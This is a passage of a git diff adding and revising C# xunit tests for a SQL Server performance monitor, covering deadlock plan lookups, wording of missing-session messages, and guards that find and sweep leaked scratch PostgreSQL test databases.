+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = (object?)victimPlan ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = (object?)database ?? DBNull.Value });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        await using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM blocked_process_reports WHERE server_id IN ({ServerId}, {OtherServerId}); " +
+            $"DELETE FROM deadlocks WHERE server_id IN ({ServerId}, {OtherServerId}); " +
+            $"DELETE FROM query_snapshots WHERE server_id = {ServerId}; " +
+            $"DELETE FROM query_store_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM procedure_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM servers WHERE server_id IN ({ServerId}, {OtherServerId});", connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>
+    /// #5236: the twin check looks at EVERY deadlock the stamps match, not only the ones that captured a plan. Two deadlocks that
+    /// share both stamps and name different victims are refused when no victim is sent, whichever of them captured a plan (the
+    /// plan of the other one must not answer for it); with each victim sent, the one that captured a plan answers with it and
+    /// the other is the plain not-captured miss. Two stored copies of ONE deadlock (the same victim) still answer from the copy
+    /// that captured a plan, even when the lower deadlock_id is the copy that did not.
+    /// </summary>
+    [Fact]
+    public async Task DeadlockPlanRead_TwinsRefuse_WhetherOrNotEachCapturedAPlan_AndACopyWithoutAPlanNeverHidesItsSibling()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live row-plan test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            var firstPlan = PlanXml("first-captured");
+            var secondPlan = PlanXml("second-captured");
+            var copyPlan = PlanXml("copy-captured");
+
+            /* Only the first twin captured a plan. */
+            var firstOnlyCollected = Anchor.AddMinutes(40);
+            var firstOnlyStamp = firstOnlyCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, firstOnlyCollected, firstOnlyStamp, "process1a2b", firstPlan, ct);
+            await InsertDeadlockAsync(connection, firstOnlyCollected, firstOnlyStamp, "process3c4d", null, ct);
+
+            /* Only the second twin captured a plan. */
+            var secondOnlyCollected = Anchor.AddMinutes(50);
+            var secondOnlyStamp = secondOnlyCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, secondOnlyCollected, secondOnlyStamp, "process1a2b", "", ct);
+            await InsertDeadlockAsync(connection, secondOnlyCollected, secondOnlyStamp, "process3c4d", secondPlan, ct);
+
+            /* Two copies of one deadlock: the lower deadlock_id captured no plan, the higher one did. */
+            var copyCollected = Anchor.AddMinutes(60);
+            var copyStamp = copyCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, copyCollected, copyStamp, "process7a8b", null, ct);
+            await InsertDeadlockAsync(connection, copyCollected, copyStamp, "process7a8b", copyPlan, ct);
+
+            async Task<string> Read(DateTime collected, DateTime stamp, string? victim) => await DarlingMcpPlanTools.GetDeadlockPlanXml(
+                postgres, collected.ToString("o", CultureInfo.InvariantCulture), stamp.ToString("o", CultureInfo.InvariantCulture), ServerName, victim,
+                cancellationToken: ct);
+
+            void AssertRefused(string answer)
+            {
+                using var doc = JsonDocument.Parse(answer);
+                Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+                Assert.Equal("victim_process_id", doc.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+                Assert.Contains("victim_process_id", doc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+                Assert.DoesNotContain("ShowPlanXML", answer, StringComparison.Ordinal);
+            }
+
+            /* No victim: refused when only the first twin captured a plan, and when only the second did. */
+            foreach (var none in new string?[] { null, "" })
+            {
+                AssertRefused(await Read(firstOnlyCollected, firstOnlyStamp, none));
+                AssertRefused(await Read(secondOnlyCollected, secondOnlyStamp, none));
+            }
+
+            /* Each victim sent: the twin that captured a plan answers with it, the other is the not-captured miss. */
+            Assert.Equal(firstPlan, await Read(firstOnlyCollected, firstOnlyStamp, "process1a2b"));
+            Assert.Equal("unavailable", StatusOf(await Read(firstOnlyCollected, firstOnlyStamp, "process3c4d")));
+            Assert.Equal("unavailable", StatusOf(await Read(secondOnlyCollected, secondOnlyStamp, "process1a2b")));
+            Assert.Equal(secondPlan, await Read(secondOnlyCollected, secondOnlyStamp, "process3c4d"));
+
+            /* Copies of one deadlock answer from the copy that captured a plan, with no victim or with theirs. */
+            Assert.Equal(copyPlan, await Read(copyCollected, copyStamp, null));
+            Assert.Equal(copyPlan, await Read(copyCollected, copyStamp, "process7a8b"));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/RuntimePreconditionMissTests.cs b/Darling/Darling.Tests/RuntimePreconditionMissTests.cs
index 99cc901bbb..0c74e9a46d 100644
--- a/Darling/Darling.Tests/RuntimePreconditionMissTests.cs
+++ b/Darling/Darling.Tests/RuntimePreconditionMissTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// only property that matters: that a state somebody can fix is never reported as one they cannot, and the
 /// reverse.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CollectorRuntimePreconditionTests
 {
     private const string Server = "precondition-probe";
@@ -789,20 +790,29 @@ public void BothGatedOffMessages_SayAReconnectIsNeeded_NotThatNothingNeedsRestar
     }
 
     /// <summary>
-    /// The contradiction this change also fixes, which predates #2559 and shipped for two issues. The
-    /// SESSION_MISSING arm has always said in its own sentence that a dropped session "stays missing until
-    /// the next connect", and then appended a shared epilogue promising "nothing to restart on the monitoring
-    /// side". Both sentences were in the same operator-facing string.
+    /// The SESSION_MISSING arm names the app's own recovery. The app creates its capture sessions when it
+    /// connects and ensures them again at least once an hour, so a session that was dropped or stopped comes back within
+    /// the hour once the login holds the grant, and nobody has to reconnect the server. The arm used to say the
+    /// session "stays missing until the next connect", told the reader to let the server reconnect, and ended on
+    /// the connect-scoped epilogue. All three are false now. The message says the hourly create, asks for no
+    /// reconnect, and ends on the general epilogue that promises nothing to restart. The interval is pinned
+    /// beside the wording, so a change to the interval has to change the sentence too.
     /// </summary>
     [Fact]
-    public void TheCaptureSessionMessage_NoLongerContradictsItself()
+    public void TheCaptureSessionMessage_SaysTheSessionComesBackWithinTheHour_AndAsksForNoReconnect()
     {
         var message = CollectorRuntimePrecondition.CollectionOutcomeMessage(
             Server, "deadlocks", CollectorRuntimePrecondition.CaptureSessionMissingStatus,
             "The session was not found.", DateTime.UtcNow.AddMinutes(-3))!;
 
-        Assert.Contains("next connect", message, StringComparison.Ordinal);
-        Assert.DoesNotContain("nothing to restart", message, StringComparison.OrdinalIgnoreCase);
+        Assert.Equal(TimeSpan.FromHours(1), AlwaysOnXeSessions.EnsureInterval);
+        Assert.Contains("at least once an hour", message, StringComparison.Ordinal);
+        Assert.Contains("within the hour", message, StringComparison.Ordinal);
+        Assert.Contains("creates a missing session and starts a stopped one", message, StringComparison.Ordinal);
+        Assert.Contains("nothing to restart", message, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("next connect", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("reconnect", message, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("read once when the service connects", message, StringComparison.Ordinal);
     }
 
     /// <summary>
@@ -905,6 +915,7 @@ public void ACollectorWithNoNounPhrase_StillGetsACorrectSentence()
 /// on an engine that can never have the surface would re-introduce the defect #2511 closed, one layer down.
 /// Nothing in the type system enforces that, and a <c>??</c> chain is trivially reorderable.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class RuntimePreconditionReadWiringTests
 {
     private const string DarlingMcp = "Darling/PerformanceMonitor.Darling.Service/Mcp";
@@ -1165,6 +1176,7 @@ private static string[] RepoFilesIn(string relativeDirectory, [CallerFilePath] s
 /// everyone.</para>
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class RuntimePreconditionMissLivePostgresTests
 {
     private const string DeniedServerName = "darling-precondition-denied";
diff --git a/Darling/Darling.Tests/SameStatementPileupSourceCensusTests.cs b/Darling/Darling.Tests/SameStatementPileupSourceCensusTests.cs
index ab69ab49c4..7266699fce 100644
--- a/Darling/Darling.Tests/SameStatementPileupSourceCensusTests.cs
+++ b/Darling/Darling.Tests/SameStatementPileupSourceCensusTests.cs
@@ -34,6 +34,8 @@ namespace Darling.Tests;
 /// follow-on enrichment where QS happens to be readable. That is a different code path on the
 /// scheduled pass, and nothing here restricts it.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class SameStatementPileupSourceCensusTests
 {
     /// <summary>
@@ -181,7 +183,8 @@ public void TheStatementIdentity_ComesFromTheSnapshotRow()
             ElapsedMs: 29_124,
             CpuTimeMs: 1_351,
             LogicalReads: 287_049,
-            PhysicalReads: 29_505);
+            PhysicalReads: 29_505,
+            PreviewText: "select 1");
 
         Assert.Equal("0xabcdef0123456789", SameStatementPileupDetector.StatementIdentity(row));
 
diff --git a/Darling/Darling.Tests/ScopedLoadOrderingTests.cs b/Darling/Darling.Tests/ScopedLoadOrderingTests.cs
index 8fda165cad..5e12d2e871 100644
--- a/Darling/Darling.Tests/ScopedLoadOrderingTests.cs
+++ b/Darling/Darling.Tests/ScopedLoadOrderingTests.cs
@@ -27,7 +27,8 @@ namespace Darling.Tests;
 /// a drop rather than a silent loss only because something is certain to repaint — in the Darling viewer the
 /// coalescing replay in <c>RefreshVisibleAsync</c> / <c>RefreshActiveInnerTabAsync</c> /
 /// <c>RefreshActiveSubTabAsync</c>, which re-reads the scope at the re-entered load's own entry. <b>Lite has
-/// no replay anywhere</b>: <c>ServerTab._isRefreshing</c> and <c>RecommendationsTab._isBusy</c> are bail-only
+/// no replay at these sites</b> (the server tab's main-tab loads gained one in #5371, through
+/// <c>RefreshCoordinator</c>): <c>RecommendationsTab._isBusy</c> is bail-only
 /// and <c>FinOpsTab</c> has no load guard at all, so the same drop there suppresses a paint nothing will redo.
 /// A generation cannot do that: the only condition under which it drops is that a newer load for the same
 /// surface has already started, so the surface always has a live writer.</para>
@@ -54,13 +55,13 @@ namespace Darling.Tests;
 /// silent loss this mechanism exists to avoid, reached from the other direction.</para>
 ///
 /// <para><b>What is deliberately NOT in this table.</b> <c>ServerTab</c>'s twenty-one main-tab
-/// <c>Refresh*Async</c> loaders. Their races route through the bail-only <c>_isRefreshing</c>, where the
-/// user-visible half is the DROPPED trigger — a time-range change mid-pass leaves the charts on the old
-/// window while the combo shows the new one — and no drop-based mechanism can fix a load that never started.
-/// That wants the viewer's replay, which needs <c>_isRefreshing</c> separated from the event-suppression duty
-/// it also serves in <c>TimeDisplayMode_SelectionChanged</c>, <c>ServerTab.DrillDown.cs</c> and
-/// <c>ServerTab.Grids.cs</c>, and that is a load-architecture change rather than a guard.</para>
+/// <c>Refresh*Async</c> loaders. Their races used to route through the bail-only <c>_isRefreshing</c>, where the
+/// user-visible half was the DROPPED trigger — a time-range change mid-pass left the charts on the old
+/// window while the combo showed the new one — and no drop-based mechanism can fix a load that never started.
+/// #5371 gave them the viewer's replay (<c>RefreshCoordinator</c>), with the event-suppression duty split off
+/// into <c>_suppressRangeRefresh</c>, which was a load-architecture change rather than a guard.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ScopedLoadOrderingTests
 {
     // ══ The mechanism ═════════════════════════════════════════════════════════════════════════
@@ -555,7 +556,9 @@ private static int FirstAwait(Site site, string body)
 
     /// <summary>
     /// Offsets of the paints: an assignment into a XAML-generated control's UI property, or a call to one of
-    /// the two helpers that push a list into a grid. Derived from the shape rather than from a per-site list
+    /// the two helpers that push a list into a grid, or <c>ShowAlerts</c>, which holds the Alerts history tab's whole
+    /// paint (#5542 L6 moved it out of <c>LoadAlertsAsync</c> so a test can drive it with rows): the call sits below
+    /// the supersession check with no await between, which keeps the rule true for every paint inside it. Derived from the shape rather than from a per-site list
     /// of surface names, so a paint added to a guarded method is covered without a second edit here.
     /// <paramref name="site"/>'s chrome allowance is subtracted — a button re-enabled in a <c>finally</c> has
     /// to fire whoever won the race.
@@ -567,7 +570,7 @@ private static List<int> Paints(Site site, string body)
         return Regex.Matches(
                 body,
                 PaintTarget + @"\s*=(?!=)|\.\s*UpdateData\s*\(|\bApplyViewModel\s*\("
-                + @"|\bSet\w*ComparisonMode\s*\(")
+                + @"|\bSet\w*ComparisonMode\s*\(|\bShowAlerts\s*\(")
             .Where(m => !chrome.Any(c => m.Value.Replace(" ", "", StringComparison.Ordinal)
                 .StartsWith(c, StringComparison.Ordinal)))
             .Select(m => m.Index)
diff --git a/Darling/Darling.Tests/ScratchDatabaseDisposalCensusTests.cs b/Darling/Darling.Tests/ScratchDatabaseDisposalCensusTests.cs
new file mode 100644
index 0000000000..9720402f65
--- /dev/null
+++ b/Darling/Darling.Tests/ScratchDatabaseDisposalCensusTests.cs
@@ -0,0 +1,378 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Every test that mints a scratch database drops it before the test ends.
+///
+/// <para><b>The defect this closes.</b> Seven live test classes (28 tests) minted a scratch database with
+/// <c>ScratchPostgres.CreateAsync</c> and disposed only their connection, so each database lived until the process-exit
+/// drain. Since #5480 each drop unschedules the database's TimescaleDB jobs and waits for their workers, about 0.4
+/// seconds a database on a CI runner, so the drain of those 29 databases took 11 seconds. The test runner (xunit.v3
+/// under Microsoft.Testing.Platform) forces the process out with exit code 1 ("Foreground threads were left running,
+/// forcing process exit") 10 seconds after the run returns, so the nightly's Darling PostgreSQL step failed with 28,763
+/// tests passed, and its publish job was skipped. The drain was not a thread: it was the process-exit handler holding
+/// the exit past the runner's wait.</para>
+///
+/// <para><b>What this pins.</b> A method that mints a scratch database, directly or through a helper that returns it,
+/// disposes it in the same method (<c>await using</c> or <c>DisposeAsync</c>). A helper that returns the store and can
+/// skip or throw after minting it disposes the store before it lets the skip or the failure out, since the caller
+/// never owns a store the helper did not return. Source-level on purpose: a live check needs a PostgreSQL server, and
+/// the databases a leak leaves are only counted after every test has finished.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ScratchDatabaseDisposalCensusTests
+{
+    /* Spelled in two parts so this file's own samples are not mistaken for a test that mints a database. */
+    private const string CreateCall = "ScratchPostgres" + ".CreateAsync(";
+
+    private static readonly Regex MemberStart = new(
+        @"^    (?:\[[^\]]*\]\s*)*(?:public|private|internal|protected|static|async)\b",
+        RegexOptions.Compiled);
+
+    private static readonly Regex DisposeCall = new(@"\b\w*[sS]cratch\w*\??\.DisposeAsync\(", RegexOptions.Compiled);
+
+    [Fact]
+    public void NoTestLeavesAScratchDatabaseForTheExitDrain()
+    {
+        var directory = FindTestProjectDirectory();
+        Assert.NotNull(directory);
+
+        var leaks = new List<string>();
+        var scanned = 0;
+        foreach (var file in Directory.EnumerateFiles(directory!, "*.cs", SearchOption.TopDirectoryOnly).OrderBy(f => f, StringComparer.Ordinal))
+        {
+            if (Path.GetFileName(file) is "ScratchDatabaseDisposalCensusTests.cs" or "ScratchPostgres.cs")
+            {
+                continue;
+            }
+
+            var source = File.ReadAllText(file);
+            if (!source.Contains(CreateCall, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            scanned++;
+            leaks.AddRange(FindLeaks(source).Select(method => $"{Path.GetFileName(file)}: {method}"));
+        }
+
+        Assert.True(scanned > 100, $"the census read {scanned} files that mint a scratch database; the walk to the test sources is broken");
+        Assert.True(
+            leaks.Count == 0,
+            "These methods mint a scratch database and never drop it, so it waits for the process-exit drain, which the test runner "
+            + "cuts off after 10 seconds (exit code 1 with every test passed). Put `await using var scratch = ...` on it, or call "
+            + "`await scratch.DisposeAsync()` in the finally:" + Environment.NewLine + string.Join(Environment.NewLine, leaks));
+    }
+
+    [Fact]
+    public void TheDetector_FlagsAMethodThatMintsAndNeverDisposes()
+    {
+        var leak = $@"
+public sealed class Sample
+{{
+    [Fact]
+    public async Task Leaks()
+    {{
+        var scratch = await {CreateCall}cs, default);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+    }}
+}}";
+        Assert.Equal(new[] { "Leaks" }, FindLeaks(leak));
+    }
+
+    [Fact]
+    public void TheDetector_FlagsAHelperTestThatOnlyDisposesItsConnection()
+    {
+        /* The shape the seven classes had: the opener returns the store, and the test's finally closed the connection. */
+        var leak = $@"
+public sealed class Sample
+{{
+    private static async Task<(NpgsqlConnection Connection, ScratchPostgres Scratch)> OpenAsync()
+    {{
+        var scratch = await {CreateCall}cs, default);
+        return (new NpgsqlConnection(scratch.ConnectionString), scratch);
+    }}
+
+    [Fact]
+    public async Task Leaks()
+    {{
+        var (connection, scratch) = await OpenAsync();
+        try
+        {{
+        }}
+        finally
+        {{
+            await connection.DisposeAsync();
+        }}
+    }}
+}}";
+        Assert.Equal(new[] { "Leaks" }, FindLeaks(leak));
+    }
+
+    [Fact]
+    public void TheDetector_FlagsAnOpenerThatCanSkipAfterMintingAndDoesNotDispose()
+    {
+        var leak = $@"
+public sealed class Sample
+{{
+    private static async Task<(NpgsqlConnection Connection, ScratchPostgres Scratch)> OpenAsync()
+    {{
+        var scratch = await {CreateCall}cs, default);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        Assert.SkipWhen(true, ""needs TimescaleDB"");
+        return (connection, scratch);
+    }}
+}}";
+        Assert.Equal(new[] { "OpenAsync" }, FindLeaks(leak));
+    }
+
+    [Fact]
+    public void TheDetector_AcceptsEveryWayTheRepoDisposesAStore()
+    {
+        var clean = $@"
+public sealed class Sample
+{{
+    private static async Task<(NpgsqlConnection Connection, ScratchPostgres Scratch)> OpenAsync()
+    {{
+        var scratch = await {CreateCall}cs, default);
+        NpgsqlConnection? connection = null;
+        try
+        {{
+            connection = new NpgsqlConnection(scratch.ConnectionString);
+            Assert.SkipWhen(true, ""needs TimescaleDB"");
+            return (connection, scratch);
+        }}
+        catch
+        {{
+            await scratch.DisposeAsync();
+            throw;
+        }}
+    }}
+
+    private static async Task<ScratchPostgres> SeedAsync(string cs) => await {CreateCall}cs, default);
+
+    [Fact]
+    public async Task DisposesInFinally()
+    {{
+        var (connection, scratch) = await OpenAsync();
+        try {{ }}
+        finally
+        {{
+            await connection.DisposeAsync();
+            await scratch.DisposeAsync();
+        }}
+    }}
+
+    [Fact]
+    public async Task UsingDeclaration()
+    {{
+        await using var scratch = await {CreateCall}cs, default);
+    }}
+
+    [Fact]
+    public async Task UsingDeclarationThroughAHelper()
+    {{
+        await using var store = await SeedAsync(""cs"");
+    }}
+
+    [Fact]
+    public async Task UsingAnAlias()
+    {{
+        var scratch = await SeedAsync(""cs"");
+        await using var _ = scratch;
+    }}
+}}";
+        Assert.Empty(FindLeaks(clean));
+    }
+
+    /// <summary>The methods in <paramref name="source"/> that mint a scratch database and do not drop it, by name.</summary>
+    internal static IReadOnlyList<string> FindLeaks(string source)
+    {
+        source = Regex.Replace(source, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline);
+        source = Regex.Replace(source, @"//[^\r\n]*", string.Empty);
+
+        var chunks = SplitIntoMembers(source);
+
+        /* A helper whose return type carries the store, or a small handle type whose own DisposeAsync drops it, hands
+           the store to its caller, who then owns the drop. */
+        var owners = new List<string> { "ScratchPostgres" };
+        owners.AddRange(FindHandleTypes(source));
+        var ownerType = new Regex(@"\b(?:Task|ValueTask)<[^;{]*\b(?:" + string.Join("|", owners.Select(Regex.Escape)) + @")\b");
+        var creators = chunks
+            .Where(c => ownerType.IsMatch(ReturnType(c)))
+            .Select(c => c.Name)
+            .ToHashSet(StringComparer.Ordinal);
+
+        var lifetimeDropsTheStore = chunks.Any(c => c.Name == "DisposeAsync" && DisposeCall.IsMatch(c.Text));
+        var creatorCall = creators.Count == 0 ? null : new Regex(@"(?<![\w.])(?:" + string.Join("|", creators.Select(Regex.Escape)) + @")\s*\(");
+
+        var leaks = new List<string>();
+        foreach (var chunk in chunks)
+        {
+            var body = chunk.Text[FirstLine(chunk.Text).Length..];
+            var minted = body.Contains(CreateCall, StringComparison.Ordinal);
+            var calledAHelper = creatorCall is not null && creatorCall.IsMatch(body);
+            if (!minted && !calledAHelper)
+            {
+                continue;
+            }
+
+            if (creators.Contains(chunk.Name))
+            {
+                /* The helper itself: only a skip or a throw after minting is a leak, because the caller never got the store. */
+                var afterMint = minted ? body[body.IndexOf(CreateCall, StringComparison.Ordinal)..] : body;
+                if (afterMint.Contains("Skip", StringComparison.Ordinal) && !DisposeCall.IsMatch(afterMint))
+                {
+                    leaks.Add(chunk.Name);
+                }
+
+                continue;
+            }
+
+            if (chunk.Name == "InitializeAsync" && lifetimeDropsTheStore)
+            {
+                continue;
+            }
+
+            if (!Disposes(body, creators))
+            {
+                leaks.Add(chunk.Name);
+            }
+        }
+
+        return leaks;
+    }
+
+    /// <summary>The nested types whose <c>DisposeAsync</c> drops a scratch database: a test hands one out and disposes it as a unit.</summary>
+    private static IEnumerable<string> FindHandleTypes(string source)
+    {
+        var typeDeclaration = new Regex(@"^\s+(?:(?:public|private|internal|protected|sealed|static|readonly|file|partial)\s+)*(?:class|record\s+struct|record|struct)\s+(\w+)");
+        var lines = source.Replace("\r\n", "\n").Split('\n');
+        string? lastType = null;
+        var disposeWindow = 0;
+        var found = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var line in lines)
+        {
+            var declaration = typeDeclaration.Match(line);
+            if (declaration.Success)
+            {
+                lastType = declaration.Groups[1].Value;
+            }
+
+            if (Regex.IsMatch(line, @"\bValueTask\s+DisposeAsync\(\)"))
+            {
+                disposeWindow = 12;
+            }
+            else if (disposeWindow > 0)
+            {
+                disposeWindow--;
+                if (lastType is not null && DisposeCall.IsMatch(line))
+                {
+                    found.Add(lastType);
+                }
+            }
+        }
+
+        return found;
+    }
+
+    private static bool Disposes(string body, HashSet<string> creators)
+    {
+        /* `await (await Mint(...)).DisposeAsync()` mints and drops in one statement. */
+        if (DisposeCall.IsMatch(body)
+            || body.Contains("DropRememberedAsync(", StringComparison.Ordinal)
+            || Regex.IsMatch(body, @"CreateAsync\([^;]*\)\)\s*\.DisposeAsync\("))
+        {
+            return true;
+        }
+
+        /* `await using var x = ...` on a variable named for the store, or on the result of the mint or a helper. */
+        if (Regex.IsMatch(body, @"await\s+using\s*\(?\s*(?:var\s+)?\w*[sS]cratch\w*\s*="))
+        {
+            return true;
+        }
+
+        if (Regex.IsMatch(body, @"await\s+using\s*\(?\s*(?:var\s+)?\w+\s*=\s*[\w.]*[sS]cratch\w*\s*[;)]"))
+        {
+            return true;
+        }
+
+        var sources = new List<string> { Regex.Escape("ScratchPostgres" + ".CreateAsync") };
+        sources.AddRange(creators.Select(Regex.Escape));
+        return Regex.IsMatch(body, @"await\s+using\s*\(?\s*(?:var\s+)?\w+\s*=\s*\(?\s*await\s+(?:" + string.Join("|", sources) + @")\b");
+    }
+
+    /// <summary>The part of a member's first line before its name: its return type, so a parameter of the store's type does not count.</summary>
+    private static string ReturnType(Member member)
+    {
+        var line = FirstLine(member.Text);
+        var at = line.IndexOf(member.Name + "(", StringComparison.Ordinal);
+        return at < 0 ? line : line[..at];
+    }
+
+    private static string FirstLine(string text)
+    {
+        var end = text.IndexOf('\n');
+        return end < 0 ? text : text[..(end + 1)];
+    }
+
+    private readonly record struct Member(string Name, string Text);
+
+    /// <summary>Cuts a class into its members: each starts on a line at the class-member indent (4 spaces) that opens with a modifier.</summary>
+    private static List<Member> SplitIntoMembers(string source)
+    {
+        var members = new List<Member>();
+        var lines = source.Replace("\r\n", "\n").Split('\n');
+        var start = -1;
+        for (var i = 0; i <= lines.Length; i++)
+        {
+            var atEnd = i == lines.Length;
+            if (!atEnd && !MemberStart.IsMatch(lines[i]))
+            {
+                continue;
+            }
+
+            if (start >= 0)
+            {
+                var text = string.Join("\n", lines[start..i]) + "\n";
+                var name = Regex.Match(lines[start], @"(\w+)\s*(?:<[^>(]*>)?\s*\(");
+                members.Add(new Member(name.Success ? name.Groups[1].Value : lines[start].Trim(), text));
+            }
+
+            start = i;
+        }
+
+        return members;
+    }
+
+    private static string? FindTestProjectDirectory()
+    {
+        var directory = new DirectoryInfo(AppContext.BaseDirectory);
+        for (var i = 0; i < 10 && directory is not null; i++)
+        {
+            if (File.Exists(Path.Combine(directory.FullName, "PerformanceMonitor.sln")))
+            {
+                var source = Path.Combine(directory.FullName, "Darling", "Darling.Tests");
+                return Directory.Exists(source) ? source : null;
+            }
+
+            directory = directory.Parent;
+        }
+
+        return null;
+    }
+}
diff --git a/Darling/Darling.Tests/ScratchDatabaseSweep.cs b/Darling/Darling.Tests/ScratchDatabaseSweep.cs
new file mode 100644
index 0000000000..40b4b88691
--- /dev/null
+++ b/Darling/Darling.Tests/ScratchDatabaseSweep.cs
@@ -0,0 +1,193 @@
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The naming scheme of <see cref="ScratchPostgres"/> databases, and the start-of-run sweep that drops the ones a
+/// killed run left behind (#4981).
+///
+/// <para><b>Why a sweep exists at all.</b> <c>ScratchPostgres.DisposeAsync</c> drops its own database, but a run
+/// that is killed (a stopped debugger, a closed terminal, a machine restart) never reaches it. On a long-lived local
+/// cluster those databases pile up, and each one that has the TimescaleDB extension holds one of the cluster's few
+/// background-worker slots for its scheduler. Four hundred of them used every slot, and later tests failed with
+/// "limit of 8 exceeded" and "out of background workers" with nothing wrong in the code under test.</para>
+///
+/// <para><b>Why the sweep is allowed to drop anything.</b> It is aimed at whatever <c>DARLING_TEST_PG</c> names, so
+/// the rules that keep it from touching anything but its own debris are the whole design, and every one is pinned by
+/// <see cref="ScratchDatabaseSweepTests"/>:
+/// <list type="bullet">
+/// <item>The name must match the factory's exact pattern, anchored at both ends: the prefix, a 14-digit UTC creation
+/// stamp, and 12 lowercase hex characters. A near miss (another prefix, a different suffix length, uppercase hex, a
+/// trailing extra) is never dropped. Databases minted before the stamp existed carry no age, so they match nothing
+/// here and are left alone.</item>
+/// <item>The creation stamp in the name must be older than <see cref="AbandonedAfter"/>. A run in flight, this
+/// process's or a neighbour's, owns only young databases.</item>
+/// <item>No client session may be connected to the database. Background workers (the TimescaleDB scheduler) do not
+/// count: every database with the extension has one, and an abandoned database would otherwise never look idle.</item>
+/// <item>The drop is a plain <c>DROP DATABASE</c>, never <c>WITH (FORCE)</c>, so a database that gained a session
+/// between the check and the drop refuses to go instead of being pulled out from under a test.</item>
+/// <item>Each drop is preceded by <see cref="ScratchPostgres.QuiesceTimescaleJobsAsync"/> (#5549): a database is never
+/// dropped while one of its TimescaleDB job workers is still attached, the same rule every in-test drop follows.
+/// The quiesce is best-effort and bounded, and it never throws. It opens one short client session of its own in the
+/// database, and the drop needs no retry for that session: PostgreSQL's own <c>DROP DATABASE</c> waits up to 5
+/// seconds for other backends to exit before it raises SQLSTATE 55006 (<c>CountOtherDBBackends</c>), which covers the
+/// closing session. Do not wrap the drop in a retry loop: when a session really stays, each attempt costs that full
+/// 5 seconds, and 30 of them (about 153 s) ran past the sweep's 60 s limit and left every later database in place.
+/// A plain drop is tried once per database. The quiesce also unschedules the database's TimescaleDB jobs
+/// (<c>alter_job(scheduled =&gt; false)</c>) before the drop, so a drop the server refuses leaves that database
+/// with its jobs unscheduled. That is accepted: the sweep only drops a database it has already judged abandoned
+/// (past <see cref="AbandonedAfter"/>, no client session), and nothing is rescheduled.</item>
+/// <item>The database the connection string itself names is never a candidate.</item>
+/// </list></para>
+/// </summary>
+/* #1776 own-store: this class never touches a store's tables. It lists databases by name and drops the factory's
+   own abandoned ones, so it cannot race the shared store. */
+internal static class ScratchDatabaseSweep
+{
+    internal const string NamePrefix = "darling_scratch_";
+
+    /// <summary>The creation stamp's layout: UTC, to the second.</summary>
+    internal const string StampFormat = "yyyyMMddHHmmss";
+
+    /// <summary>
+    /// How old a scratch database must be before the sweep may drop it. No test keeps a database for anything near
+    /// this long, so a database past it belongs to a run that is gone; the margin is what keeps a slow neighbour's
+    /// databases safe.
+    /// </summary>
+    internal static readonly TimeSpan AbandonedAfter = TimeSpan.FromMinutes(30);
+
+    /// <summary>
+    /// The one pattern a droppable name matches. <c>\z</c>, not <c>$</c>: <c>$</c> also matches before a trailing
+    /// newline, and <c>[0-9]</c>, not <c>\d</c>: <c>\d</c> accepts other scripts' digits.
+    /// </summary>
+    private static readonly Regex NamePattern = new(
+        "^darling_scratch_(?<stamp>[0-9]{14})_(?<id>[0-9a-f]{12})\\z",
+        RegexOptions.CultureInvariant | RegexOptions.ExplicitCapture);
+
+    /// <summary>
+    /// Databases with the factory's prefix that have no client session, cheapest filter first. This only narrows the
